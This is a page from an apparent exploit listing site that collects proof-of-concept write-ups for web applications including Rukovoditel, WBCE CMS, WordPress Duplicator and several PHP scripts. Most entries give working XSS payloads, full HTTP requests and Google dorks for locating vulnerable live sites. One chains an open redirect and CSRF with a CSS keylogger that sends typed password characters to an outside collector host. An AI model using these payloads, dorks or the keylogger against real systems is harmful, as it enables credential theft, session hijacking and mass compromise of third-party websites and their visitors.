Latest exploits :: CodePwn

<pre><code>Exploit Title: Rukovoditel 3.4.1 - Multiple Stored XSS Version: 3.4.1 Bugs: Multiple Stored XSS Technology: PHP Vendor URL: https://www.rukovoditel.net/ Software Link: https://www.rukovoditel.net/download.php Date of found: 24-06-2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== ###XSS-1### ======================================== steps: 1. login to account 2. create project (http://localhost/index.php?module=items/items&path=21) 3. add task 4. open task 5. add comment as "<iframe src="https://14.rs"></iframe> " POST /index.php?module=items/comments&action=save&token=FEOZ9jeKuA HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 241 Origin: http://localhost Connection: close Referer: http://localhost/index.php?module=items/info&path=21-2/22-1&redirect_to=subentity&gotopage[74]=1 Cookie: cookie_test=please_accept_for_session; sid=vftrl4mhmbvdbrvfmb0rb54vo5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 form_session_token=FEOZ9jeKuA&path=21-2%2F22-1&fields%5B169%5D=47&fields%5B170%5D=53&fields%5B174%5D=3&description=%3Ciframe+src%3D%22https%3A%2F%2F14.rs%22%3E%3C%2Fiframe%3E+&uploadifive_attachments_upload_attachments=&comments_attachments= =========================== ###XSS-2### =========================== 1.go to admin account 2.go to configration => applicaton 3.Copyright Text set as "<img src=x onerror=alert(1)>" POST /index.php?module=configuration/save&redirect_to=configuration/application HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------12298384558648010343132232769 Content-Length: 2766 Origin: http://localhost Connection: close Referer: http://localhost/index.php?module=configuration/application Cookie: cookie_test=please_accept_for_session; sid=vftrl4mhmbvdbrvfmb0rb54vo5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="form_session_token" ju271AAoy1 -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_NAME]" Rukovoditel -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_SHORT_NAME_MOBILE]" ffgsdfgsdfg -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_SHORT_NAME]" ruko -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="APP_LOGO"; filename="" Content-Type: application/octet-stream -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_LOGO]" -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_LOGO_URL]" -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="APP_FAVICON"; filename="" Content-Type: application/octet-stream -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_FAVICON]" -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_COPYRIGHT_NAME]" <img src=x onerror=alert(1)> -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_LANGUAGE]" english.php -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_SKIN]" -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_TIMEZONE]" America/New_York -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_ROWS_PER_PAGE]" 10 -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_DATE_FORMAT]" m/d/Y -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_DATETIME_FORMAT]" m/d/Y H:i -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_NUMBER_FORMAT]" 2/./* -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[APP_FIRST_DAY_OF_WEEK]" 0 -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[DROP_DOWN_MENU_ON_HOVER]" 0 -----------------------------12298384558648010343132232769 Content-Disposition: form-data; name="CFG[DISABLE_CHECK_FOR_UPDATES]" 0 -----------------------------12298384558648010343132232769-- </code></pre>

<pre><code>Exploit Title: WBCE CMS 1.6.1 - Open Redirect & CSRF Version: 1.6.1 Bugs: Open Redirect + CSRF = CSS KEYLOGGING Technology: PHP Vendor URL: https://wbce-cms.org/ Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1 Date of found: 03-07-2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== 1. Login to Account 2. Go to Media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/index.php#elf_l1_Lw) 3. Then you upload html file .(html file content is as below) ''' <html> <head> <title> Login </title> <style> input[type="password"][value*="q"]{ background-image: url('https://enflownwx6she.x.pipedream.net/q');} input[type="password"][value*="w"]{ background-image: url('https://enflownwx6she.x.pipedream.net/w');} input[type="password"][value*="e"]{ background-image: url('https://enflownwx6she.x.pipedream.net/e');} input[type="password"][value*="r"]{ background-image: url('https://enflownwx6she.x.pipedream.net/r');} input[type="password"][value*="t"]{ background-image: url('https://enflownwx6she.x.pipedream.net/t');} input[type="password"][value*="y"]{ background-image: url('https://enflownwx6she.x.pipedream.net/y');} input[type="password"][value*="u"]{ background-image: url('https://enflownwx6she.x.pipedream.net/u');} input[type="password"][value*="i"]{ background-image: url('https://enflownwx6she.x.pipedream.net/i');} input[type="password"][value*="o"]{ background-image: url('https://enflownwx6she.x.pipedream.net/o');} input[type="password"][value*="p"]{ background-image: url('https://enflownwx6she.x.pipedream.net/p');} input[type="password"][value*="a"]{ background-image: url('https://enflownwx6she.x.pipedream.net/a');} input[type="password"][value*="s"]{ background-image: url('https://enflownwx6she.x.pipedream.net/s');} input[type="password"][value*="d"]{ background-image: url('https://enflownwx6she.x.pipedream.net/d');} input[type="password"][value*="f"]{ background-image: url('https://enflownwx6she.x.pipedream.net/f');} input[type="password"][value*="g"]{ background-image: url('https://enflownwx6she.x.pipedream.net/g');} input[type="password"][value*="h"]{ background-image: url('https://enflownwx6she.x.pipedream.net/h');} input[type="password"][value*="j"]{ background-image: url('https://enflownwx6she.x.pipedream.net/j');} input[type="password"][value*="k"]{ background-image: url('https://enflownwx6she.x.pipedream.net/k');} input[type="password"][value*="l"]{ background-image: url('https://enflownwx6she.x.pipedream.net/l');} input[type="password"][value*="z"]{ background-image: url('https://enflownwx6she.x.pipedream.net/z');} input[type="password"][value*="x"]{ background-image: url('https://enflownwx6she.x.pipedream.net/x');} input[type="password"][value*="c"]{ background-image: url('https://enflownwx6she.x.pipedream.net/c');} input[type="password"][value*="v"]{ background-image: url('https://enflownwx6she.x.pipedream.net/v');} input[type="password"][value*="b"]{ background-image: url('https://enflownwx6she.x.pipedream.net/b');} input[type="password"][value*="n"]{ background-image: url('https://enflownwx6she.x.pipedream.net/n');} input[type="password"][value*="m"]{ background-image: url('https://enflownwx6she.x.pipedream.net/m');} input[type="password"][value*="Q"]{ background-image: url('https://enflownwx6she.x.pipedream.net/Q');} input[type="password"][value*="W"]{ background-image: url('https://enflownwx6she.x.pipedream.net/W');} input[type="password"][value*="E"]{ background-image: url('https://enflownwx6she.x.pipedream.net/E');} input[type="password"][value*="R"]{ background-image: url('https://enflownwx6she.x.pipedream.net/R');} input[type="password"][value*="T"]{ background-image: url('https://enflownwx6she.x.pipedream.net/T');} input[type="password"][value*="Y"]{ background-image: url('https://enflownwx6she.x.pipedream.net/Y');} input[type="password"][value*="U"]{ background-image: url('https://enflownwx6she.x.pipedream.net/U');} input[type="password"][value*="I"]{ background-image: url('https://enflownwx6she.x.pipedream.net/I');} input[type="password"][value*="O"]{ background-image: url('https://enflownwx6she.x.pipedream.net/O');} input[type="password"][value*="P"]{ background-image: url('https://enflownwx6she.x.pipedream.net/P');} input[type="password"][value*="A"]{ background-image: url('https://enflownwx6she.x.pipedream.net/A');} input[type="password"][value*="S"]{ background-image: url('https://enflownwx6she.x.pipedream.net/S');} input[type="password"][value*="D"]{ background-image: url('https://enflownwx6she.x.pipedream.net/D');} input[type="password"][value*="F"]{ background-image: url('https://enflownwx6she.x.pipedream.net/F');} input[type="password"][value*="G"]{ background-image: url('https://enflownwx6she.x.pipedream.net/G');} input[type="password"][value*="H"]{ background-image: url('https://enflownwx6she.x.pipedream.net/H');} input[type="password"][value*="J"]{ background-image: url('https://enflownwx6she.x.pipedream.net/J');} input[type="password"][value*="K"]{ background-image: url('https://enflownwx6she.x.pipedream.net/K');} input[type="password"][value*="L"]{ background-image: url('https://enflownwx6she.x.pipedream.net/L');} input[type="password"][value*="Z"]{ background-image: url('https://enflownwx6she.x.pipedream.net/Z');} input[type="password"][value*="X"]{ background-image: url('https://enflownwx6she.x.pipedream.net/X');} input[type="password"][value*="C"]{ background-image: url('https://enflownwx6she.x.pipedream.net/C');} input[type="password"][value*="V"]{ background-image: url('https://enflownwx6she.x.pipedream.net/V');} input[type="password"][value*="B"]{ background-image: url('https://enflownwx6she.x.pipedream.net/B');} input[type="password"][value*="N"]{ background-image: url('https://enflownwx6she.x.pipedream.net/N');} input[type="password"][value*="M"]{ background-image: url('https://enflownwx6she.x.pipedream.net/M');} input[type="password"][value*="1"]{ background-image: url('https://enflownwx6she.x.pipedream.net/1');} input[type="password"][value*="2"]{ background-image: url('https://enflownwx6she.x.pipedream.net/2');} input[type="password"][value*="3"]{ background-image: url('https://enflownwx6she.x.pipedream.net/3');} input[type="password"][value*="4"]{ background-image: url('https://enflownwx6she.x.pipedream.net/4');} input[type="password"][value*="5"]{ background-image: url('https://enflownwx6she.x.pipedream.net/5');} input[type="password"][value*="6"]{ background-image: url('https://enflownwx6she.x.pipedream.net/6');} input[type="password"][value*="7"]{ background-image: url('https://enflownwx6she.x.pipedream.net/7');} input[type="password"][value*="8"]{ background-image: url('https://enflownwx6she.x.pipedream.net/8');} input[type="password"][value*="9"]{ background-image: url('https://enflownwx6she.x.pipedream.net/9');} input[type="password"][value*="0"]{ background-image: url('https://enflownwx6she.x.pipedream.net/0');} input[type="password"][value*="-"]{ background-image: url('https://enflownwx6she.x.pipedream.net/-');} input[type="password"][value*="."]{ background-image: url('https://enflownwx6she.x.pipedream.net/.');} input[type="password"][value*="_"]{ background-image: url('https://enflownwx6she.x.pipedream.net/%60');} input[type="password"][value*="@"]{ background-image: url('https://enflownwx6she.x.pipedream.net/%40');} input[type="password"][value*="?"]{ background-image: url('https://enflownwx6she.x.pipedream.net/%3F');} input[type="password"][value*=">"]{ background-image: url('https://enflownwx6she.x.pipedream.net/%3E');} input[type="password"][value*="<"]{ background-image: url('https://enflownwx6she.x.pipedream.net/%3C');} input[type="password"][value*="="]{ background-image: url('https://enflownwx6she.x.pipedream.net/%3D');} input[type="password"][value*=":"]{ background-image: url('https://enflownwx6she.x.pipedream.net/%3A');} input[type="password"][value*=";"]{ background-image: url('https://enflownwx6she.x.pipedream.net/%3B');} </style> </head> <body> <label>Please enter username and password</label> Password:: <input type="password" /> <script> document.querySelector('input').addEventListener('keyup', (evt)=>{ evt.target.setAttribute('value', evt.target.value); }) </script> </body> </html> ''' 4.Then go to url of html file (http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html) and copy url. 5.Then you logout account and go to again login page (http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php) POST /WBCE_CMS-1.6.1/wbce/admin/login/index.php HTTP/1.1 Host: localhost Content-Length: 160 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: phpsessid-2729-sid=3i7oqonhjf0ug0jl5dfdp4uugg Connection: close url=&username_fieldname=username_3584B221EC89&password_fieldname=password_3584B221EC89&username_3584B221EC89=test&password_3584B221EC89=Hello123%21&submit=Login 6.If write as (https://ATTACKER.com) in url parameter on abowe request on you redirect to attacker.com. 7.We write to html files url url=http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html 8.And create csrf-poc with csrf.poc.generator <html> <title> This CSRF was found by miri </title> <body> <h1> CSRF POC </h1> <form action="http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="url" value="http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html" /> </form> <script>document.forms[0].submit();</script> </body> </html> 9.If victim click , ht redirect to html file and this page send to my server all keyboard activity of victim. Poc video : https://youtu.be/m-x_rYXTP9E </code></pre>

<pre><code>==================================================================================================================================== | # Title : WordPress - Duplicator 3.8.8 Backup Disclosure Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0.2(64-bit) | | # Vendor : https://snapcreek.com/duplicator/docs/changelog/ | | # Dork : "/wp-content/backups-dup-pro/" | ==================================================================================================================================== P0C : [+] Appears to leave backups in a world accessible directory under the document root & The plugin exports a backup exported as a text file and contains sensitive informations. [+] Dorking İn Google Or Other Search Enggine. [+] Use payload : "/wp-content/backups-dup-pro/" [+] https://127.0.0.1/blessedbeyondadoubtcom/wp-content/backups-dup-pro/ Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm * thelastvvv *Zigoo.eg | ======================================================================================================================================= </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : https://www.inoutscripts.com/products/inout-search-engine-ai-edition/ │ │ Vendor : Inout Scripts │ │ Software : Inout Search Engine AI Edition 1.1 │ │ Vuln Type: Reflected XSS │ │ Impact : Manipulate the content of the site │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ The attacker can send to victim a link containing a malicious URL in an email or │ │ instant message can perform a wide variety of actions, such as stealing the victim's │ │ session token or login credentials │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka CryptoJob (Twitter) twitter.com/0x0CryptoJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /index.php GET 'page' parameter is vulnerable to RXSS https://website/index.php?page=index%2findexl7fex%3cimg%20src%3da%20onerror%3dalert(1)%3ed392j&type=Web [-] Done </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : https://gzscripts.com/vacation-rental-website.html │ │ Vendor : GZ Scripts │ │ Software : Vacation Rental 1.8 │ │ Vuln Type: Stored XSS │ │ Impact : Manipulate the content of the site │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ Allow Attacker to inject malicious code into website, give ability to steal sensitive │ │ information, manipulate data, and launch additional attacks. │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09 CryptoJob (Twitter) twitter.com/0x0CryptoJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ## Stored XSS ------------------------------------------------------------ POST /VacationRentalWebsite/property/8/ad-has-principes/ HTTP/1.1 property_id=8&action=detail&send_review=1&cleanliness=0%3B4.2&comfort=0%3B4.2&location=0%3B4.2&service=0%3B4.2&sleep=0%3B4.2&price=0%3B4.2&username=[XSS Payload]&evaluation=3&title=[XSS Payload]&comment=[XSS Payload]&captcha=lbhkyj ------------------------------------------------------------ POST parameter 'username' is vulnerable to XSS POST parameter 'title' is vulnerable to XSS POST parameter 'comment' is vulnerable to XSS ## Steps to Reproduce: 1. Surf (as Guest) - Go to any Listed Property 2. Go to [Customer Reviews] on this Path (http://website/property/[Number1-9]/[name-of-Property]/#customerReviews) 3. Inject your [XSS Payload] in "Username" 4. Inject your [XSS Payload] in "Title" 5. Inject your [XSS Payload] in "Comment" 6. Submit 7. XSS Fired on Local Browser 8. XSS will Fire & Execute on Visitor's Browser when they visit the page of Property you [Inject] the XSS Payloads in & XSS will Fire also on the [Reviews Page] Note: I think Administration Panel missing a section to Manage [Reviews] on the website this feature must be added in next Updates [View/Edit/Delete] [-] Done </code></pre>

<pre><code>==================================================================================================================================== | # Title : Strawberry 1.1.9 XSS Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit) | | # Vendor : https://cutenewsru.sourceforge.io/strawberry/ | | # Dork : "Powered by Strawberry 1.1.9" | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use Payload : /content/index.php/"onmouseover%3d'prompt(document.cookies)'bad%3d" [+] http://127.0.0.1/dverekomondoorcom/content/index.php/"onmouseover%3d'prompt(document.cookies)'bad%3d" Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : sisfo Sistem Informasi Akademik lms v1.9.3 XSS Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit) | | # Vendor : http://unisma.ac.id/ | | # Dork : inurl:mnux?=login | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use Payload : /?lgn=frm&lid=50&mnux=login&nme=Kepala%2520Akademik'"()%26%25<acx><ScRiPt >prompt(/indoushka/)</ScRiPt> [+] https://127.0.0.1/siakad.stpi-pajak.ac.id/?lgn=frm&lid=50&mnux=login&nme=Kepala%2520Akademik%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : Rest-Cafe and Restaurant Website CMS 2.0.0 ْXSS Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 67.0.1(64-bit) | | # Vendor : https://codecanyon.net/item/rest-cafe-and-restaurant-website-cms/21630154 | | # Dork : "news.php?slug=" | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use Payload : /news.php?slug=at-his-ludus-nonumes-gloriatur-ne-vim-tamquam%27%22()%26%25%3Cacx%3E%3CScRiPt%3Eprompt(005605414920)%3C/ScRiPt%3E [+] http://127.0.0.1/cms/news.php?slug=at-his-ludus-nonumes-gloriatur-ne-vim-tamquam%27%22()%26%25%3Cacx%3E%3CScRiPt%3Eprompt(005605414920)%3C/ScRiPt%3E Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | | ======================================================================================================================================= </code></pre>